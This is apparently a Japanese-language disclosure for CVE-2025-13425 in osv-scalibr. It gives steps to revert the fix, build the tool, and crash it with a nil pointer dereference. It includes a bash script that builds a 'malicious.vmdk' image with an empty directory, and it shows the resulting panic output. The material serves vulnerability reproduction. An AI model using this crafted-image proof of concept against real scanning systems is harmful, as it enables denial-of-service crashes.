
CVE-2025-13425 を再現するには、以下の手順に従ってください:
ステップ1: 最新の osv-scalibr ソースコードをクローンします:
$ git clone https://github.com/google/osv-scalibr
ステップ2: 修正コミット https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672 で言及されているコードを削除します
ステップ3: vmdk.go.patch パッチを使用し、vmdk.go に適用します:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
なぜ vmdk.go にこれらの変更が必要なのでしょうか?
これは単なる例であり、このバグは vmdk プラグインに限定されません。バグをトリガーするために必要です。バグは、誰かがファイル内に含まれる仮想ファイルシステムを走査する独自のプラグインを作成したときに発生します。バグは、osv-scalibr が仮想ファイルシステムを処理する方法にあります。このバグはコンパイル時や本番環境では気づかれませんが、ユーザーが少なくとも1つの空のディレクトリを含む vmdk ファイルを提供するとトリガーされます。
ステップ4: ソースコードをコンパイルして「scalibr」バイナリを取得します:
$ make clean && make
ステップ5: 次のようにトリガーします:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Expected output:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
または
空のディレクトリを含む悪意のある(または最小限の)vmdk イメージを生成することもできます。これを行うには、以下のコードで新しい bash スクリプトを作成します(例: gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
それでは、
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
これにより、「malicious.vmdk」というファイルが作成されます。次に、以下のコマンドで脆弱性をトリガーします:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Expected output:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 は Yuvraj Saxena ([email protected]) によって発見されました